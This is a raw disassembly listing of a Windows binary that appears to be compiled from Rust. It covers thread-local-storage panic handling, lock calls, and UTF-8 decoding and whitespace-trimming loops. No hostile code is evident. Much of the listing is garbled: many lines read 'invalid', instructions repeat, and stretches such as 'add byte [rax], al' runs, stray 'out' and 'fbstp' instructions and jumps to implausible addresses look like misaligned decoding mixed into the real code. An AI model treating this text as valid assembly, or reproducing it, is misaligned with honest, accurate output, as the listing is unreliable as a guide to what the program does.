lea r9, [0x1400e8060]
lea r8, [rbp + 0x44]
mov edx, 0x46
call fcn.1400aa430
jmp 0x140095a70
mov rax, qword [rbx + 0x18]
mov byte [rbp + 0x67], 1
mov rcx, rdi
call rax
movabs rcx, 0x4b9ccfb03a26ee7c
xor rax, rcx
movabs rcx, 0x9a9f137397802b83
xor rdx, rcx
or rdx, rax
jne 0x1400958f3
lea rax, [rdi + 0x10]
jmp 0x1400957ea
mov eax, 0xc
lea rcx, [0x1400e9794]
jmp 0x1400957f0
lea rax, [rax + 0xe8]
mov rdi, qword [rax]
mov qword [rax], 0
test rdi, rdi
jne 0x140095986
mov dword [rbp + 0x44], 0
mov byte [rbp + 0x48], 0
mov qword [rbp - 0x48], 0
mov byte [rbp + 0x64], 0
lea r8, [0x1400e9800]
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x44]
call fcn.140094ab0
xor ebx, ebx
xor esi, esi
mov rdi, qword [rbp + 0x30]
test rdi, rdi
je 0x140095960
lock dec qword [rdi]
jne 0x140095960
mov rcx, rdi
call fcn.14007a790
test rbx, rbx
sete al
or sil, al
jne 0x1400955c2
lock dec qword [rbx]
jne 0x1400955c2
mov rcx, rbx
call fcn.140068050
jmp 0x1400955c2
lea rbx, [rdi + 0x10]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
mov qword [rbp - 0x50], rbx
je 0x140095aa3
call fcn.1400ae5e0
xor al, 1
mov dword [rbp + 0x4c], eax
movzx eax, byte [rdi + 0x18]
mov qword [rbp + 0x38], rdi
lea rdx, [rdi + 0x20]
lea r8, [0x1400e97b0]
lea rcx, [rbp - 0x30]
call fcn.140094ab0
cmp byte [rbp + 0x4c], 0
mov rbx, qword [rbp + 0x38]
jne 0x1400959f6
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
je 0x1400959f6
call fcn.1400ae5e0
test al, al
jne 0x1400959f6
mov byte [rbx + 0x18], 1
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov byte [0x1400f9150], 1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xe0], 0
jne 0x140095a72
call fcn.140085a90
test rax, rax
mov rdi, qword [rbp + 0x30]
mov rbx, qword [rbp + 0x38]
jne 0x140095a7d
lock dec qword [rbx]
jne 0x140095a44
mov rcx, rbx
call fcn.140068050
mov byte [rbp + 0x65], 0
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadlocal.rs
lea r9, [0x1400e8060]
lea r8, [rbp + 0x44]
mov edx, 0x46
call fcn.1400aa430
ud2
lea rax, [rax + 0xe8]
mov rdi, qword [rbp + 0x30]
mov rcx, qword [rax]
mov qword [rax], rbx
mov sil, 1
test rcx, rcx
je 0x14009594d
lock dec qword [rcx]
jne 0x14009594d
call fcn.140068050
jmp 0x14009594d
mov dword [rbp + 0x4c], 0
jmp 0x1400959b4
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp], rax
lea rax, [0x1400e99b0]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], r8
mov qword [rbp + 0x18], rsi
mov byte [rbp + 0x20], r14b
mov byte [rbp + 0x21], r12b
mov dword [rbp + 0x28], 0
mov byte [rbp + 0x2c], 0
mov rax, rbp
mov qword [rbp + 0x50], rax
lea rax, [0x140043ce0]
mov qword [rbp + 0x58], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 2
mov qword [rbp - 0x10], 0
lea rax, [rbp + 0x50]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rcx, [rbp + 0x28]
lea rdx, [rbp - 0x30]
call fcn.14007ab50
mov qword [rbp - 0x40], rax
test rax, rax
je 0x140095b87
lea rcx, [rbp - 0x40]
jmp 0x140095b82
mov dword [rbp + 0x50], 0
mov byte [rbp + 0x54], 0
lea rax, str.thread_panicked_while_processing_panic._aborting._n
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp - 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [rbp + 0x50]
lea rdx, [rbp - 0x30]
call fcn.14007ab50
mov qword [rbp], rax
test rax, rax
je 0x140095b87
mov rcx, rbp
call fcn.14007a090
mov ecx, 7
int 0x29
ud2
mov ecx, 1
mov rdx, rbx
call fcn.1400a9e00
ud2
ret 0x8d48
cmp dword [rsp + 0x40], 0
add byte [rax - 0x75], cl
and al, 0x48
invalid
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
je 0x140096d45
je 0x140096d45
movabs rax, 0x8000000000000001
cmp rcx, rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x74c13948], al
or byte [rax + 0x39], 0xc1
je 0x140096d4c
test rcx, rcx
or byte [rax + 0x39], 0xc1
je 0x140096d4c
test rcx, rcx
jne 0x140096d53
call fcn.1400402a0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.1400a9e00
ud2
mov edx, eax
call fcn.140096d60
ud2
invalid
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x118
add byte [rcx - 0x77], cl
invalid
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], r8
lea r12, [rsp + 0xb0]
mov rax, rdx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0xb8], r8
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0x50], r8
mov qword [rsp + 0xc8], r8
enter 0, 0
add byte [rcx - 0x77], cl
invalid
enter 0, 0
mov qword [rsp + 0xd0], 1
movabs rax, 0xa0000000a
mov qword [rsp + 0xd8], rax
mov word [rsp + 0xe0], 0
xor eax, eax
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rcx
lea rbx, [rsp + 0x58]
jmp 0x140096e58
cmp r15, rdx
jb 0x1400977a9
nop dword [rax]
movzx eax, byte [rsp + 0xe1]
test al, al
jne 0x1400970c7
mov rsi, qword [rsp + 0xb0]
mov rcx, rbx
mov rdx, r12
call fcn.14006bdf0
cmp qword [rsp + 0x58], 0
je 0x140096eb0
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
add rsi, rcx
mov qword [rsp + 0xa0], rax
sub rax, rcx
mov rdx, rax
sub rdx, 1
jb 0x140096e50
jmp 0x140096f01
cmp byte [rsp + 0xe1], 0
jne 0x1400970c7
mov byte [rsp + 0xe1], 1
cmp byte [rsp + 0xe0], 0
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
movabs al, byte [0xa824848b48000000]
add byte [rax], al
add byte [rbp + 9], dh
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
movabs al, byte [0xa824848b48000000]
add byte [rax], al
add byte [rbp + 9], dh
cmp rax, rsi
je 0x1400970c7
sub rax, rsi
add rsi, qword [rsp + 0xb0]
mov rdx, rax
sub rdx, 1
jb 0x140096e50
cmp byte [rsi + rdx], 0xa
jne 0x140096f30
test rdx, rdx
je 0x140096e50
cmp byte [rsi + rax - 2], 0xd
jne 0x140096f33
add rax, 0xfffffffffffffffe
dec byte [rax - 0x77]
mov rdx, rax
jne 0x140096f33
ret 0x1375
jmp 0x140096e50
invalid
nop word cs:[rax + rax]
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
ret 0x8d48
mov rdx, rax
lea rax, [rsi + rdx]
mov r8, rsi
xor r15d, r15d
jmp 0x140096f6f
movzx r9d, r9b
lea r10, [0x1400eb47f]
test byte [r9 + r10], 1
je 0x140096e43
nop word cs:[rax + rax]
sub r15, rcx
add r15, r8
cmp r8, rax
je 0x140096e50
test cl, ah
invalid
invalid
invalid
test cl, ah
invalid
invalid
mov rcx, r8
mov ecx, eax
movzx r8d, byte [r8]
movzx eax, byte [rax]
movzx r9d, r8b
test r9b, r9b
leave
enter 0xffffffffffff8445, 0xffffffffffffffc9
leave
js 0x140096f90
lea r8, [rcx + 1]
cmp r9d, 0x20
jne 0x140097030
add byte [rax], al
add bl, ch
rcl dword [rax + 0x41ca8945]
and edx, 0x1f
jmp 0x140096f60
mov r10d, r9d
and r10d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
invalid
cmp r9b, 0xdf
stc
fbstp tbyte [rsi + 0x4c]
invalid
stc
fbstp tbyte [rsi + 0x4c]
movzx r11d, byte [rcx + 2]
shl edi, 6
and r11d, 0x3f
or r11d, edi
cmp r8b, 0xf0
jb 0x140097009
movzx r9d, byte [rcx + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rdi], cl
test byte [rdi - 2], ch
invalid
invalid
je 0x140096e50
invalid
lea r8, [rcx + 4]
cmp r9d, 0x20
jne 0x140097030
jmp 0x140096f60
invalid
lea r8, [rcx + 2]
shl r10d, 6
or r10d, edi
mov r9d, r10d
cmp r9d, 0x20
jne 0x140097030
jmp 0x140096f60
lea r8, [rcx + 3]
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
cmp r9d, 0x20
je 0x140096f60
nop word cs:[rax + rax]
cmp r9d, 0x110000
je 0x140096e50
lea r10d, [r9 - 9]
cmp r10d, 5
jb 0x140096f60
cmp r9d, 0x80
jb 0x140096e43
invalid
jmp case.0x1400283bc.1792
invalid
invalid
invalid
mov r10d, r9d
shr r10d, 8
cmp r10d, 0x1f
jg 0x14009708a
test r10d, r10d
je 0x140096f3f
cmp r10d, 0x16
jne 0x140096e43
cmp r9d, 0x1680
je 0x140096f60
jmp 0x140096e43
inc dword [rcx - 0x7d]
cli
and byte [rsp + rbx + 0x41], dh
je 0x1400970ac
cmp r10d, 0x30
cmp r10d, 0x20
je 0x1400970ac
cmp r10d, 0x30
xor byte [rdi], cl
test dword [rcx + 0x41fffffd], ebp
cmp ecx, 0x3000
jne 0x140096e43
cmp r9d, 0x3000
je 0x140096f60
jmp 0x140096e43
movzx r9d, r9b
lea r10, [0x1400eb47f]
test byte [r9 + r10], 2
jne 0x140096f60
jmp 0x140096e43
inc dword [rbp + 0x31]
inc dword [rax + 0xe124bc]
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], cl
xor r15d, r15d
xor edi, edi
cmp byte [rsp + 0xe1], 0
mov qword [rsp + 0xf8], r14
and al, 0xf8
add byte [rax], al
add byte [rdi], cl
test dl, al
add eax, dword [rax]
invalid
and al, 0xf8
add byte [rax], al
add byte [rdi], cl
test dl, al
add eax, dword [rax]
add byte [rax - 0x39], cl
and al, 0x38
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x38], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
and al, 0x40
and al, 0x40
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x60], rax
lea r13, [rsp + 0x68]
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
movabs rax, 0xa0000000a
mov qword [rsp + 0x90], rax
mov word [rsp + 0x98], 0
mov r14d, 1
xor r12d, r12d
lea rbp, [rsp + 0x100]
lea ebp, [rsp + 0x100]
lea ebp, [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
add bl, ch
jmp 0x14009718b
and al, 0x66
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx - 0x3a], al
mov byte [r14 + r12], 0xa
invalid
invalid
mov byte [r14 + r12], 0xa
inc r12
mov qword [rsp + 0x48], r12
cmp byte [rsp + 0x99], 0
jne case.0x14002739f.1611
or cl, byte es:[rcx - 1]
invalid
mov rbx, qword [rsp + 0x68]
mov rcx, rbp
jmp 0x128f3fae3
push rbp
std
invalid
jmp 0x128f3fae3
invalid
std
dec dword [rax - 0x7d]
invalid
invalid
mov esp, 0x10024
and al, 0
add dword [rax], eax
cmp qword [rsp + 0x100], 0
and al, 0
add dword [rax], eax
add byte [rax], al
je 0x1400971d0
mov rdi, qword [rsp + 0x110]
mov rax, qword [rsp + 0x58]
add rbx, rax
mov qword [rsp + 0x58], rdi
sub rdi, rax
mov rax, rdi
sub rax, 1
jae case.0x1400283bc.1778
jmp case.0x140068b4c.1771
nop dword [rax]
add byte [rax], al
add byte [rax], al
cmp byte [rsp + 0x99], 0
jne case.0x14002739f.1611
invalid
add al, byte [rax]
invalid
invalid
mov byte [rsp + 0x99], 1
test byte [rcx + rbx*4], ah
add byte [rax], al
add byte [rcx], al
cmp byte [rsp + 0x98], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
mov rbx, qword [rsp + 0x58]
pop rsp
and al, 0x58
mov rdi, qword [rsp + 0x60]
and al, 0x60
jne 0x140097203
or dword [rax + 0x39], ecx
cmp rdi, rbx
je case.0x14002739f.1611
cmp al, 2
add byte [rax], al
fisttp word [rdi]
test byte [rdx + rax], bh
cmp al, 2
cmp al, 2
add byte [rax], al
add byte [rax + 0x29], cl
sub rdi, rbx
add rbx, qword [rsp + 0x68]
pop rsp
and al, 0x68
fisttp word [rax + 3]
pop rsp
and al, 0x68
mov rax, rdi
sub rax, 1
jb case.0x140068b4c.1771
add dword [rdx + 0x2c], esi
cmp byte [rbx + rax], 0xa
jne 0x140097230
or dh, byte [rbp + 0x16]
test rax, rax
je case.0x140068b4c.1771
cmp byte [rbx + rdi - 2], 0xd
lea rcx, [rdi - 2]
cmove rax, rcx
ror dword [rax - 0x77], 0xc7
ror dword [rax - 0x77], 0xc7
invalid
nop
mov rsi, rdi
mov esi, edi
dec byte [rcx + rbp - 2]
sub rsi, r15
sub esi, edi
jb 0x14009725e
jmp 0x14009724a
jmp 0x14009724a
nop word [rax + rax]
add byte [rax], r8b
xor edi, edi
mov rsi, rdi
mov esi, edi
mov esi, edi
sub rsi, r15
jb 0x14009725e
mov rcx, qword [rsp + 0x30]
mov rdx, rbx
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
hlt
add byte [rax], al
hlt
test eax, eax
je case.0x1400270ad.1620
cmp r12, qword [rsp + 0x40]
jne case.0x1400283bc.2013
lea rcx, [rsp + 0x38]
mov rdx, r12
invalid
cmp byte [rcx + rcx*4 - 0x1e], cl
loop case.0x1400283bc.1756
call fcn.140074b70
cli
fdivr st(5)
dec dword [rbx + rcx*4 + 0x74]
invalid
invalid
invalid
mov r14, qword [rsp + 0x38]
and al, 0x38
mov r12, qword [rsp + 0x48]
mov esp, dword [rsp + 0x48]
jmp case.0x1400283bc.2013
jmp case.0x1400283bc.2013
invalid
test rdi, rdi
je 0x14009725e
lea rax, [rbx + rdi]
lea eax, [rbx + rdi]
mov rcx, rbx
mov ecx, ebx
jmp 0x1400972b5
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
mov edx, eax
lea r8d, [rdx - 9]
cmp r8d, 5
jae 0x1400972ce
nop dword [rax + rax]
cmp rcx, rax
cmp ecx, eax
je 0x14009725e
test eax, 0x11b60f44
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
sar byte [rax + 0x4f], cl
sar byte [rax + 0x4f], cl
inc rcx
lea r8d, [rdx - 9]
cmp r8d, 5
jb 0x1400972b0
cmp edx, 0x20
je 0x1400972b0
cmp edx, 0x80
jb 0x1400973e2
invalid
add eax, dword [rcx]
add byte [rax], al
add byte [rax], 0
add byte [rdi], cl
invalid
mov r8d, edx
shr r8d, 8
cmp r8d, 0x1f
jg 0x14009739c
add byte [rax], al
add byte [rbp - 0x7b], al
test r8d, r8d
je case.0x14002739f.1788
cmp r8d, 0x16
test r8d, r8d
je case.0x14002739f.1788
add byte [rax], al
add byte [rcx - 0x7d], al
clc
invalid
cmp r8d, 0x16
jne 0x1400973e2
cmp edx, 0x1680
je 0x1400972b0
jmp 0x1400973e2
add byte [rax], al
mov r8d, edx
and r8d, 0x1f
and eax, 0x1f
and eax, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
cli
fisttp word [rdi]
xchg byte [rdx - 1], ch
invalid
invalid
cli
fisttp word [rdi]
xchg byte [rdx - 1], ch
invalid
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
cmp dl, 0xf0
cmp dl, 0xf0
jb 0x14009737b
movzx edx, byte [rcx + 3]
mov dh, 0x51
add eax, dword [rcx - 0x7d]
and r8d, 7
and r8d, 7
invalid
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
invalid
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rdi], cl
je 0x14009725e
test dl, bh
cli
invalid
invalid
dec dword [rax - 0x7d]
add rcx, 4
lea r8d, [rdx - 9]
lea eax, [rdx - 9]
rol dword [rsp + rax*2], 0x8d
test dword [rcx - 0x7d], 0x820f05f8
cmp r8d, 5
invalid
invalid
cmp bh, bh
lea eax, [rdx - 9]
cmp r8d, 5
jb 0x1400972b0
add eax, 0xff3a820f
invalid
jmp 0x1400972ce
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
lea r8d, [rdx - 9]
cmp r8d, 5
cmp eax, 5
cmp eax, 5
jb 0x1400972b0
invalid
jmp 0x1400972ce
invalid
cmp r8d, 0x20
je 0x1400973cd
cmp r8d, 0x30
jne 0x1400973e2
add byte [rax], dh
add byte [rax], al
add byte [rdi], cl
test ah, bh
invalid
invalid
invalid
add byte [rdi], cl
test ah, bh
cld
invalid
invalid
invalid
jmp 0x1400973e2
movzx edx, dl
lea r8, [0x1400eb47f]
test byte [rdx + r8], 1
mov edi, 0x42000540
test byte [rdx + rax], 1
add byte [rdx - 0xa], al
add al, 2
add dword [rdi], ecx
invalid
test ebp, esp
jne 0x1400972b0
invalid
jmp 0x1400973e2
movzx edx, dl
lea r8, [0x1400eb47f]
test byte [rdx + r8], 2
jne 0x1400972b0
invalid
invalid
invalid
invalid
invalid
dec dword [rbp - 0x7b]
test r15, r15
je 0x1400973f7
invalid
push qword [rax + rdx + 0x4c]
cmp edi, edi
invalid
adc byte [rcx + rdi - 1], cl
cmp rdi, r15
push qword [rsi + 0xb]
jbe 0x1400973f7
or eax, dword [rdx - 0x80]
cmp al, 0x3b
cmp edi, dword [rdi + 0x3d58e0f]
cmp byte [rbx + r15], 0xbf
jle 0x1400977cc
mov ss, ebp
add eax, dword [rax]
add byte [rax], al
cmp edi, dword [rdi + 0x3d58e0f]
mov ss, ebp
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rsp + 0x40]
add byte [rax], al
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
sub rax, r12
sub rax, r12
loopne case.0x14002739f.1614
cmp rax, rsi
cmp eax, esi
invalid
jb 0x140097423
add rbx, r15
lea rcx, [r14 + r12]
mov rdx, rbx
invalid
mov rdx, rbx
fimul dword [rcx - 0x77]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 1], cl
add r12, rsi
hlt
mov qword [rsp + 0x48], r12
jmp 0x14009725e
invalid
invalid
invalid
lea rcx, [rsp + 0x38]
and al, 0x38
mov rdx, r12
mov r8, rsi
call fcn.1400ac520
mov r14, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
mov r12, qword [rsp + 0x48]
mov esp, dword [rsp + 0x48]
jmp case.0x1400270ad.1660
jmp case.0x1400270ad.1660
test r12, r12
je case.0x1400270ad.1643
mov rax, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
cmp byte [rdx - 0x80], al
cmp byte [rax + r12 - 1], 0xa
jl case.0x14002f576.1522
dec dword [rdx]
or dh, byte [rbp + 0x24]
jne case.0x1400270ad.1643
cmp qword [rsp + 0x50], 0
jl 0x140097479
and al, 0x50
push rax
add byte [rsp + rdx + 0x48], dh
je case.0x14002f576.1522
mov rax, qword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
push rax
mov rcx, qword [rsp + 0xe8]
mov word [rax + rbp*8], fs
add byte [rax], al
add byte [rax + 0xaff087c], al
cmp byte [rax + rcx - 1], 0xa
cmp byte [rax + rcx - 1], 0xa
dec dword [rdx]
je case.0x1400270ad.1643
or byte [rcx - 1], cl
int3
dec r12
mov qword [rsp + 0x48], r12
and al, 0x48
and al, 0x48
mov rax, qword [rsp + 0x48]
and al, 0x48
mov rcx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xf8]
mov ecx, dword [rsp + 0xf8]
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx + 0x10], rax
adc byte [r15], cl
movups xmm0, xmmword [rsp + 0x38]
adc byte [rsp + 0x38], al
and al, 0x38
cmp byte [rdi], cl
movups xmmword [rcx], xmm0
adc dword [rcx], eax
add rsp, 0x118
add esp, 0x118
add dword [rax], eax
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rsi, [rsp + 0x58]
lea esi, [rsp + 0x58]
pop rax
jmp 0x1400974c3
mov r12, rbx
nop dword [rax]
lea rsi, [rsp + 0x58]
cmp byte [rsp + 0xe1], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rdi], cl
test dword [0x1890974c0], ebx
dec dword [rax - 0x75]
mov esp, 0xb024
invalid
jne 0x1400970e0
dec dword [rax - 0x75]
mov rdi, qword [rsp + 0xb0]
mov esp, 0xb024
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rdx, r12
call fcn.14006bdf0
cmp qword [rsp + 0x58], 0
cmp dword [rsp + 0x58], 0
std
dec dword [rax - 0x7d]
invalid
jl case.0x14002f576.1554
cmp dword [rsp + 0x58], 0
pop rax
add byte [rdx + rsi + 0x48], dh
mov eax, dword [rsp + 0x68]
je 0x140097510
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
add rdi, rcx
mov qword [rsp + 0xa0], rax
sub rax, rcx
mov rdx, rax
sub rdx, 1
invalid
add dword [rdx - 0x4d], esi
ret 0x8348
invalid
jmp 0x140097561
cmp byte [rsp + 0xe1], 0
jne 0x1400970e0
mov byte [rsp + 0xe1], 1
cmp byte [rsp + 0xe0], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
mov rdi, qword [rsp + 0xa0]
mov esp, 0xa024
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbp + 9], dh
mov rax, qword [rsp + 0xa8]
jne 0x140097549
cmp rax, rdi
je 0x1400970e0
sub rax, rdi
add rdi, qword [rsp + 0xb0]
mov rdx, rax
sub rdx, 1
jb 0x1400974b5
cmp byte [rdi + rdx], 0xa
jne 0x140097590
invalid
or dh, byte [rbp + 0x29]
test rdx, rdx
je 0x1400974b5
cmp byte [rdi + rax - 2], 0xd
jne 0x140097593
add rax, 0xfffffffffffffffe
mov rdx, rax
jne 0x140097593
jmp 0x1400974b5
invalid
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rdx, rax
invalid
invalid
add byte [rax], al
mov rdx, rax
mov edx, eax
lea rax, [rdi + rdx]
lea eax, [rdi + rdx]
mov r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
lea rcx, [r8 + r15]
lea ecx, [rax + rdi]
or al, 0x38
xor r9d, r9d
mov qword [rsp + 0xf0], rdi
and al, 0xf0
add byte [rax], al
add byte [rax], al
mov r10, rdi
add byte [rax], al
mov r10, rdi
mov edx, edi
nop
nop
movzx r14d, byte [r10]
mov dh, 0x32
movzx r11d, r14b
movzx ebx, dh
test r11b, r11b
js 0x1400975d0
lea r14, [r10 + 1]
cmp r8, rcx
jne 0x140097660
jmp 0x1400974b0
mov ebp, r11d
and ebp, 0x1f
movzx esi, byte [r10 + 1]
mov dh, 0x72
add dword [rbx - 0x7fbec01a], eax
sti
fbstp tbyte [rsi + 0x46]
fld qword [rbx + 0xf411fe5]
mov dh, 0x72
add dword [rbx - 0x7fbec01a], eax
sti
fbstp tbyte [rsi + 0x46]
movzx edi, byte [r10 + 2]
movzx edi, byte [rdx + 2]
shl esi, 6
and edi, 0x3f
or edi, esi
cmp r14b, 0xf0
cmp dh, 0xf0
cmp dh, 0xf0
jb 0x140097640
movzx r11d, byte [r10 + 3]
and ebp, 7
invalid
shl ebp, 0x12
adc al, cl
out 6, eax
invalid
invalid
adc al, cl
out 6, eax
invalid
invalid
and r11d, 0x3f
jrcxz 0x140097648
invalid
or r11d, edi
or ebx, edi
or r11d, ebp
cmp r11d, 0x110000
sti
add byte [rax], al
adc dword [rax], eax
jmp 0x140097651
sti
add byte [rax], al
adc dword [rax], eax
je 0x1400974b0
test byte [rsi + rdi*8 - 0x72b20001], dl
jb 0x140097624
invalid
lea r14, [r10 + 4]
lea esi, [rdx + 4]
cmp r8, rcx
jne 0x140097660
cmp ebp, ecx
jmp 0x1400974b0
xchg dh, bh
invalid
lea r14, [r10 + 2]
shl ebp, 6
or ebp, esi
mov r11d, ebp
cmp r8, rcx
jne 0x140097660
jmp 0x1400974b0
lea r14, [r10 + 3]
shl ebp, 0xc
or edi, ebp
out dx, eax
mov r11d, edi
cmp r8, rcx
je 0x1400974b0
pop rbx
invalid
nop word cs:[rax + rax]
movzx esi, byte [r8]
movzx ebp, sil
test bpl, bpl
js 0x140097690
inc r8
inc eax
cmp r11d, 0x110000
cmp ebx, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rcx], dl
add byte [rdi], cl
test ebx, eax
jne 0x140097740
add byte [rax], al
add cl, ch
invalid
invalid
jmp 0x1400974b0
invalid
nop word cs:[rax + rax]
mov rbx, r12
mov r13d, ebp
and r13d, 0x1f
movzx r12d, byte [r8 + 1]
and r12d, 0x3f
invalid
cmp bpl, 0xdf
std
fbstp tbyte [rsi + 0x4e]
invalid
invalid
std
fbstp tbyte [rsi + 0x4e]
invalid
movzx edi, byte [r8 + 2]
movzx edi, byte [r8 + 2]
mov dh, 0x78
add al, byte [rcx - 0x3f]
shl r12d, 6
shl r12d, 6
and edi, 0x3f
or edi, r12d
cmp sil, 0xf0
jb 0x140097716
movzx ebp, byte [r8 + 3]
and r13d, 7
shl r13d, 0x12
shl edi, 6
and ebp, 0x3f
or ebp, edi
std
std
or ebp, r13d
cmp ebp, 0x110000
add byte [rcx], dl
invalid
add byte [rcx], dl
add byte [rdi], cl
invalid
test bh, al
std
invalid
je 0x1400974a9
add r8, 4
mov r12, rbx
cmp r11d, 0x110000
jne 0x140097740
add r8, 2
shl r13d, 6
in eax, 6
add al, byte [rcx - 0x3f]
in eax, 6
or r13d, r12d
or ebp, esp
mov ebp, r13d
mov ebp, ebp
mov r12, rbx
mov esp, ebx
cmp r11d, 0x110000
cmp ebx, 0x110000
add byte [rcx], dl
add byte [rbp + 0x2f], dh
jne 0x140097740
jne 0x140097740
jmp 0x1400974b0
invalid
dec dword [rcx - 0x7d]
add r8, 3
shl r13d, 0xc
shl ebp, 0xc
rol byte [rbx], 0x41
shl ebp, 0xc
or edi, r13d
mov ebp, edi
mov r12, rbx
mov esp, ebx
mov esp, ebx
cmp r11d, 0x110000
cmp ebx, 0x110000
add byte [rcx], dl
add byte [rdi], cl
invalid
test byte [rbp - 3], bh
invalid
je 0x1400974b0
nop word cs:[rax + rax]
cmp r11d, ebp
jne 0x14009775c
jmp 0x1400977b9
sub r9, r10
add r9, r14
mov r10, r14
cmp r14, rax
jne 0x1400975b0
cmp r9, rdx
lea rsi, [rsp + 0x58]
jae 0x1400974b5
std
invalid
invalid
std
invalid
cmp r9, r15
jae 0x1400974b5
test r9, r9
je 0x140097794
mov rcx, qword [rsp + 0xf0]
add byte [rax], al
add byte [rdx - 0x80], al
cmp byte [rcx + r9], 0xbf
jle case.0x140074731.1356
invalid
invalid
invalid
cmp byte [rcx + r9], 0xbf
jle case.0x140074731.1356
invalid
mov r15, r9
mov r15, r9
iretd
mov qword [rsp + 0x30], rcx
and al, 0x30
jmp 0x1400974b5
invalid
xor r15d, r15d
xor edi, edi
mov rax, qword [rsp + 0xf0]
mov eax, dword [rsp + 0xf0]
lock add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rax
jmp 0x1400974b5
test r15, r15
je 0x1400977bf
cmp byte [rsi + r15], 0xbf
jle 0x140097801
